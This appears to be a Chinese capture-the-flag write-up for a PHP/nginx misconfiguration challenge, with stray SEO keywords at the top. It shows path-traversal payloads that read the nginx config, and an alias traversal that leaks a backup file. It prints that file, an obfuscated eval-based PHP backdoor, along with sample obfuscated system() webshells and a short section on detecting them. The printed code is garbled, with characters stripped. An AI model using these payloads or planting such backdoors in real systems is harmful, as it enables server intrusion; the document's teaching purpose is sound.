信息技术课做网站,企业查询征信,比较火的推广软件,wordpress截取标题长度进入题目页面如下 尝试弱口令密码登录 一直显示网站建设中#xff0c;尝试无果#xff0c;查看源码也没有什么特别漏洞存在
用Kali中的dirsearch扫描根目录试试
命令#xff1a; dirsearch -u http://61.147.171.105:53736/ -e* 登录文件便是刚才登录的界面打开robots.txt…进入题目页面如下 尝试弱口令密码登录 一直显示网站建设中尝试无果查看源码也没有什么特别漏洞存在
用Kali中的dirsearch扫描根目录试试
命令 dirsearch -u http://61.147.171.105:53736/ -e* 登录文件便是刚才登录的界面打开robots.txt文件 有两个文件分别查看
hint.php文件提示配置文件有问题 虽给出提示但根目录也无法下手如何找到路径
Hack.php一直弹窗请登录 尝试用burp suite抓Hack.php文件的包 发现cookie的值登录这里有异常尝试改变值改为1试试 出现页面
点击多个链接并抓包在管理中心这个链接中抓包修改cookie值为1再放行得到/admin/admin.php?fileindexextphp文件 发送到重放器重点分析
看了一位大佬的博客才知道可能过滤了../链接如下
攻防世界web Web_php_wrong_nginx_config - zhangzhijie98 - 博客园
构造payload ?filei../ndexextphp 出现please continue
构造payload ?filei./ndexextphp 没有出现please continue
判断是过滤了../
尝试用 ..././ 来绕过
构造payload ?file..././..././..././..././/etc/nginx/sites-enabled/site.confext 得到配置信息 server { listen 8080; ## listen for ipv4; this line is default and implied listen [::]:8080; ## listen for ipv6 root /var/www/html; index index.php index.html index.htm; port_in_redirect off; server_name _; # Make site accessible from http://localhost/ #server_name localhost; # If block for setting the time for the logfile if ($time_iso8601 ~ ^(\d{4})-(\d{2})-(\d{2})) { set $year $1; set $month $2; set $day $3; } # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off; set $http_x_forwarded_for_filt $http_x_forwarded_for; if ($http_x_forwarded_for_filt ~ ([0-9]\.[0-9]\.[0-9]\.)[0-9]) { set $http_x_forwarded_for_filt $1???; } # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; location / { # First attempt to serve request as file, then # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q$uri$args; server_tokens off; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location /50x.html { root /usr/share/nginx/html; } location ~ \.php$ { try_files $uri $uri/ /index.php?q$uri$args; fastcgi_split_path_info ^(.\.php)(/.)$; fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_index index.php; include fastcgi_params; fastcgi_param REMOTE_ADDR $http_x_forwarded_for; } location ~ /\. { log_not_found off; deny all; } location /web-img { alias /images/; autoindex on; } location ~* \.(ini|docx|pcapng|doc)$ { deny all; } include /var/www/nginx[.]conf; } 访问 /web-img/这个地方可以进行文件遍历,直接点会跳转到登录页面 构造payload /web-img../ 在根目录下/var/www/下有hack.php.bak文件
构造payload /web-img../var/www/ 得到上述文件其中一个是hack.php的备份下载下来
打开得到PHP代码但怎么是乱码啊qyq 运行代码输出$f,可以用下面这个在线运行工具
php在线运行,在线工具在线编译IDE_w3cschool 得到结果 $kh42f7;$kfe9ac;
function x($t,$k) {$cstrlen($k);
$lstrlen($t);$o;for ($i0;$i$l;) {
for ($j0;($j$c$i$l);$j,$i) {
$o.$t {$i}^$k {$j};}}return $o;}$r$SERVER;
$rr$r[HTTP_REFERER];
$ra$r[HTTP_ACCEPT_LANGUAGE];
if($rr$ra) {
$uparse_url($rr);
parse_str($u[query],$q);
$qarray_values($q);
preg_match_all(/([\w])[\w-](?:;q0.([\d]))?,?/,$ra,$m);
if($q$m) {
session_start();
$s$SESSION;$sssubstr;$slstrtolower;$i$m1.$m1;
$h$sl($ss(md5($i.$kh),0,3));$f$sl($ss(md5($i.$kf),0,3));$p;
for ($z1;$zcount($m[1]);$z)$p.$q[$m2];
if(strpos($p,$h)0) {
$s[$i];
$p$ss($p,3);}
if(array_key_exists($i,$s)) {
$s[$i].$p;$estrpos($s[$i],$f);
if($e) {$k$kh.$kf;ob_start();
eval(gzuncompress(x(base64_decode(preg_replace(array(/_/,/-/),array(/,),$ss($s[$i],0,$e))),$k)));$oob_get_contents();
ob_end_clean();$dbase64_encode(x(gzcompress($o),$k));
print($k$d/$k);session_destroy();}}}} 这里看大佬编写了一个脚本最终得到flag 这里涉及一个PHP混淆后面分析的知识点 PHP 混淆后门
PHP 混淆后门是一种经过特殊处理的恶意 PHP 代码攻击者将其部署在目标服务器上以实现对服务器的远程控制和非法访问。为了逃避安全检测工具如防火墙、入侵检测系统等的监测攻击者会对原始的后门代码进行混淆处理。混淆手段包括但不限于变量和函数名替换、代码结构打乱、字符串加密等使代码难以阅读和分析。
常见的 PHP 混淆后门形式及原理
1. 变量和函数名替换混淆
原理将正常的变量名和函数名替换为无意义的随机字符串使代码的语义变得模糊。示例
// 原始后门代码
?php
if ($_POST[pass] password) {system($_POST[cmd]);
}
?// 混淆后的代码
?php
if ($_POST[a] b) {$c system;$c($_POST[d]);
}
?在混淆后的代码中变量名和字符串都被替换使得安全检测工具难以通过关键字匹配发现后门。
2. 代码结构打乱混淆
原理改变代码的执行顺序插入无用的代码块或分支增加代码的复杂度。示例
?php
$rand rand(1, 10);
if ($rand % 2 0) {if ($_POST[pass] password) {system($_POST[cmd]);}
} else {// 无用代码块$x 1 2;$y $x * 3;
}
?这种混淆方式使代码逻辑变得混乱增加了分析的难度。
3. 字符串加密混淆
原理对代码中的敏感字符串如密码、命令执行函数名等进行加密处理在运行时再进行解密。示例
?php
$key secretkey;
$encrypted aGVsbG8; // 假设这是加密后的字符串
$decrypted base64_decode($encrypted);
for ($i 0; $i strlen($decrypted); $i) {$decrypted[$i] $decrypted[$i] ^ $key[$i % strlen($key)];
}
if ($_POST[pass] $decrypted) {$func system;$func($_POST[cmd]);
}
?在这个示例中密码字符串被加密只有在运行时解密后才能使用增加了检测的难度。
检测和防范 PHP 混淆后门的方法
检测方法
静态代码分析使用代码扫描工具对服务器上的 PHP 文件进行全面扫描检测代码中的异常模式和潜在的后门特征。一些开源的代码扫描工具如 PHPCSPHP_CodeSniffer可以帮助发现代码中的不规范和可疑之处动态行为监测通过监测服务器的运行行为如异常的文件操作、网络连接等发现潜在的后门活动。入侵检测系统IDS和入侵防御系统IPS可以对服务器的网络流量和系统调用进行实时监测机器学习和深度学习方法利用机器学习和深度学习算法对代码的特征进行学习和分析识别出混淆后门。可以训练模型来区分正常代码和恶意代码